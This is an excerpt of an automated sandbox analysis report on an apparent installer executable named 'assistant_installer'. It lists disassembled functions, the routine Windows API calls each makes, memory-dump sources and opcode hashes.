                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileSizeEx.KERNEL32(00000000,FFFFFFFF), ref: 007541E2
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileSize
                                                                                                                                                                                                                • String ID: ../../base/files/file_win.cc$File::GetLength$GetLength
                                                                                                                                                                                                                • API String ID: 3433856609-2366038222
                                                                                                                                                                                                                • Opcode ID: 57d57084e50b5fb8a2982ec492b7ef0e8cc08afc1ab1869ab88f238439d7d09b
                                                                                                                                                                                                                • Instruction ID: c561035246854fd8ac6736d27cba4fdb6ad754352b541138103d9f2463d7fb9a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 57d57084e50b5fb8a2982ec492b7ef0e8cc08afc1ab1869ab88f238439d7d09b
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4121AC315143819BD220EF68CC4AA6AF7A5FFC9770F504B1CB5F4571D2DBB4A5098B82
                                                                                                                                                                                                                Function 007EE4D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57registryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • RegisterClassExW.USER32(00000030), ref: 007EE536
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ClassRegister
                                                                                                                                                                                                                • String ID: ../../base/win/message_window.cc$Failed to register the window class for a message-only window$MZx
                                                                                                                                                                                                                • API String ID: 2764894006-197181506
                                                                                                                                                                                                                • Opcode ID: 23c25ec77e00d01cb67c1c58d6307f0a2fd637134bf7b432b9ed78487385c695
                                                                                                                                                                                                                • Instruction ID: acaf7c11b1bea7d31cf3d6eb0bd353624b2e63dc93b8a3c5d4c2049a9a37f263
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 23c25ec77e00d01cb67c1c58d6307f0a2fd637134bf7b432b9ed78487385c695
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9E118970D0034897EB10EF95DC5A7EEB7B9EF45344F008459E5047B381EBB55648CB95
                                                                                                                                                                                                                Function 00849042 Relevance: 6.3, APIs: 4, Instructions: 320COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strrchr
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3213747228-0
                                                                                                                                                                                                                • Opcode ID: 4a71855c2dcaeff16fdaea010b3b3782e48c64892e311169d0175a16ee1683e7
                                                                                                                                                                                                                • Instruction ID: 9dfd47cdf8058d7a386c04d2881d4e02c3a734b5c3ffbf9aba38619dfadac45f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4a71855c2dcaeff16fdaea010b3b3782e48c64892e311169d0175a16ee1683e7
                                                                                                                                                                                                                • Instruction Fuzzy Hash: D3B1133290025EAFDB318F68C8817EFBBA5FF56354F2441AAE895EB341D6748D01C761
                                                                                                                                                                                                                Function 00794DF0 Relevance: 6.2, APIs: 4, Instructions: 207COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 4218353326-0
                                                                                                                                                                                                                • Opcode ID: 715f182307335c7a9d364302a9f544c72a474e4a5c3e9395234433abe7f7d4ab
                                                                                                                                                                                                                • Instruction ID: cf8e97379adf7f7d75529461b7fcbd1c1eb8ffcb554ff882ef0ff04b367170b1
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 715f182307335c7a9d364302a9f544c72a474e4a5c3e9395234433abe7f7d4ab
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 41619FB6A042169FDF11CE68FC80EBB77A6BB41308F1D0868E8559B341E779ED06C761
                                                                                                                                                                                                                Function 00845608 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AdjustPointer
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1740715915-0
                                                                                                                                                                                                                • Opcode ID: b33cb39d086d47c5d5eee47f409f5e015af21f310d6ad7919ef2a678d68e561f
                                                                                                                                                                                                                • Instruction ID: 9605eea6a97704971aed1afb311be6d796c7cfe5c941f9b09b5a79bbc250217c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b33cb39d086d47c5d5eee47f409f5e015af21f310d6ad7919ef2a678d68e561f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9051BD72601A0AEFDB299F54D981BBEB7A4FF15710F244539EC05CB292E731AC80CB91
                                                                                                                                                                                                                Function 00753870 Relevance: 6.1, APIs: 4, Instructions: 147COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 00759120: FindNextFileW.KERNEL32(?,?,?,?,00000000,?,?), ref: 007591E4
                                                                                                                                                                                                                  • Part of subcall function 00759120: FindClose.KERNEL32(?,?,?), ref: 007591F8
                                                                                                                                                                                                                  • Part of subcall function 00759120: GetLastError.KERNEL32(?,?), ref: 00759342
                                                                                                                                                                                                                  • Part of subcall function 00759120: GetFileAttributesW.KERNEL32(FFFFFFFF,FFFFFFFF,?,?,?,00000001,?,?), ref: 00759420
                                                                                                                                                                                                                • SetFileAttributesW.KERNEL32(FFFFFFFF,?,?,?,?,?,?,?,?), ref: 0075398A
                                                                                                                                                                                                                • RemoveDirectoryW.KERNEL32(FFFFFFFF,?,?,?,?,?,?,?), ref: 007539D9
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00753A12
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: File$AttributesErrorFindLast$CloseDirectoryNextRemove
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3974083381-0
                                                                                                                                                                                                                • Opcode ID: 232f50ac1bc7a7249fd75de2bffc1ce7cd4b7fc9a3592710d6c33ff071f7029f
                                                                                                                                                                                                                • Instruction ID: 0476f8dd014f1e19b36876ef0c60ee546f9c2b7858cd855fabbeeee3685cd200
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 232f50ac1bc7a7249fd75de2bffc1ce7cd4b7fc9a3592710d6c33ff071f7029f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: CA51F9B1A0062A97DF219B248C45BFEB7786F41351F0001A9B955E71D1DBB89F488F91
                                                                                                                                                                                                                Function 007AA2C0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • RaiseException.KERNEL32(E0000008,00000001,00000001,00100000,00000000,?,00779CD9,?mu,?,00756D3F,00100000,?,?,?), ref: 007AA2D7
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(00000000,00000000,00000000,00100000,?,E0000008,?,00779CD9,?mu,?,00756D3F,00100000,?,?,?), ref: 007BA063
                                                                                                                                                                                                                • VirtualFree.KERNEL32(00000000,00000000,00008000,?,E0000008,?,00779CD9,?mu,?,00756D3F,00100000,?,?,?), ref: 007BA085
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(00000000,?,E0000008,?,00779CD9,?mu,?,00756D3F,00100000,?,?,?), ref: 007BA0B0
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireExceptionFreeRaiseReleaseVirtual
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 329190654-0
                                                                                                                                                                                                                • Opcode ID: cd3c36979233021a2a49c2b9af5b6837688a613e505741ceb20e7a8e05ccf9af
                                                                                                                                                                                                                • Instruction ID: 2eced07c14a7c7b8b4c25fc0de37457d2aa0cc7576b240ead03254c2f6454d72
                                                                                                                                                                                                                • Opcode Fuzzy Hash: cd3c36979233021a2a49c2b9af5b6837688a613e505741ceb20e7a8e05ccf9af
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 99112971B50A04BBF7107FD4AC45BAD7328F796710F880015F60497782EBA96D8047EB
                                                                                                                                                                                                                Function 0075A4E0 Relevance: 6.1, APIs: 4, Instructions: 85COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • QueryPerformanceCounter.KERNEL32(00000000), ref: 0075A50F
                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0075A54C
                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0075A56A
                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0075A5C1
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$CounterPerformanceQuery
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 374826692-0
                                                                                                                                                                                                                • Opcode ID: 1b13188b3967b81e9fb1cdf842c596584d88ab8801439d379fbe1d9110d8e5dd
                                                                                                                                                                                                                • Instruction ID: ae03ff419bfc4d908c95be75e62781638d3d19b60c6637d440feee3319f9cf91
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1b13188b3967b81e9fb1cdf842c596584d88ab8801439d379fbe1d9110d8e5dd
                                                                                                                                                                                                                • Instruction Fuzzy Hash: FC316F71604300AFCB08DF58D895A2BFBE9FBC9720F04C83EB998C7761D67498448B92
                                                                                                                                                                                                                Function 007BF530 Relevance: 6.1, APIs: 4, Instructions: 61COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(00000030,00000000,007C9030,?,?,?,007C8FAB,00000000,00000000,?,?,007ED98D,?,?,007C9030,?), ref: 007BF55F
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(00000030,?,?,?,33B6CE54,?,?,?,?,?,?,007ED81F,007ED7B9), ref: 007BF572
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(00000024,00000000,007C9030,?,?,?,007C8FAB,00000000,00000000,?,?,007ED98D,?,?,007C9030,?), ref: 007BF58B
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(00000024,?,?,?,33B6CE54,?,?,?,?,?,?,007ED81F,007ED7B9), ref: 007BF59E
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireRelease
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 17069307-0
                                                                                                                                                                                                                • Opcode ID: 844df92db4f52d5d4e5a0fafc28c2c71004891b20456537de7511ca196837b6c
                                                                                                                                                                                                                • Instruction ID: 5d0d18e8b6257990cad72fcf1bc69b554d0333887c8c08da257f5019586c5077
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 844df92db4f52d5d4e5a0fafc28c2c71004891b20456537de7511ca196837b6c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: D01160312002049FCB25EF25CC94ABFBBA5FF857207088529E4465B351CB78E916DBA2
                                                                                                                                                                                                                Function 007B0690 Relevance: 6.1, APIs: 4, Instructions: 61COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,007C92E1,00000001,00000001), ref: 007B06B0
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,007C92E1,00000001,00000001), ref: 007B06C2
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000,?,?,007C92E1,00000001,00000001), ref: 007B06F9
                                                                                                                                                                                                                  • Part of subcall function 00758370: GetHandleVerifier.ASSISTANT_INSTALLER(?,?,0075631A,?,00000000,?,008A4CF8,?,?,?,?,0075648D,00000000), ref: 00758377
                                                                                                                                                                                                                • ResetEvent.KERNEL32(?,?,?,?,007C92E1,00000001,00000001), ref: 007B0725
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorEventLast$CreateHandleResetVerifier
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 794520543-0
                                                                                                                                                                                                                • Opcode ID: 339c081139bcc3e3c75590166dfeb2b4c8ad470b857436d60dd6415e9a31e28a
                                                                                                                                                                                                                • Instruction ID: 0ad0a9cfe19e651b5fc4a5473ed75935ea0b69ba531284b4e8700bdebebcb21e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 339c081139bcc3e3c75590166dfeb2b4c8ad470b857436d60dd6415e9a31e28a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0D11C476100204EFEB146F25DC4978ABBD9EB45356F14482AE585C2251EBBAE814CB92
                                                                                                                                                                                                                Function 008405FE Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFullPathNameW.KERNEL32(?,?,?,00000000,0084053E,00000000,?,0084F7C1,007410E1,007410E1,0084053E,?,?,007410E1,007410E1,00000001), ref: 00840614
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,0084F7C1,007410E1,007410E1,0084053E,?,?,007410E1,007410E1,00000001,00000000,00000000,?,0084053E,007410E1,00751595), ref: 0084061E
                                                                                                                                                                                                                • __dosmaperr.LIBCMT ref: 00840625
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorFullLastNamePath__dosmaperr
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2398240785-0
                                                                                                                                                                                                                • Opcode ID: 059ad5a049b532d53903596049779caf0180e900bf51059815a147828b7586a9
                                                                                                                                                                                                                • Instruction ID: 9002e0e9e3fa8dc77eaf8927c41856c3b110c5fa674e6a4dc694c9621ea70b71
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 059ad5a049b532d53903596049779caf0180e900bf51059815a147828b7586a9
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 91F0FB32600219BB8B246BA6DC08D57FF69FFD43A07098915B65ADA120CB31E861DFD1
                                                                                                                                                                                                                Function 00840543 Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFullPathNameW.KERNEL32(?,?,?,00000000,0084053E,00000000,?,0084F836,007410E1,007410E1,?,?,007410E1,007410E1,00000001,00000000), ref: 00840559
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,0084F836,007410E1,007410E1,?,?,007410E1,007410E1,00000001,00000000,00000000,?,0084053E,007410E1,00751595,?), ref: 00840563
                                                                                                                                                                                                                • __dosmaperr.LIBCMT ref: 0084056A
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorFullLastNamePath__dosmaperr
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2398240785-0
                                                                                                                                                                                                                • Opcode ID: 5a59da9a52121c1a0c26601f9d263715ac11d888c03a8bf2821b21ab0a3b2e04
                                                                                                                                                                                                                • Instruction ID: ccf011661544b98853f4e038ef0455e5d79c387b9331293b15a716a64577281f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5a59da9a52121c1a0c26601f9d263715ac11d888c03a8bf2821b21ab0a3b2e04
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 82F08132600219BB8B246FA6DC08D57BF69FF843A07094511F658E7120CB31E861DFD1
                                                                                                                                                                                                                Function 00856499 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0084F865,00000000,00000001,00000000,00000000,?,00840D7B,?,?,00000000), ref: 008564B0
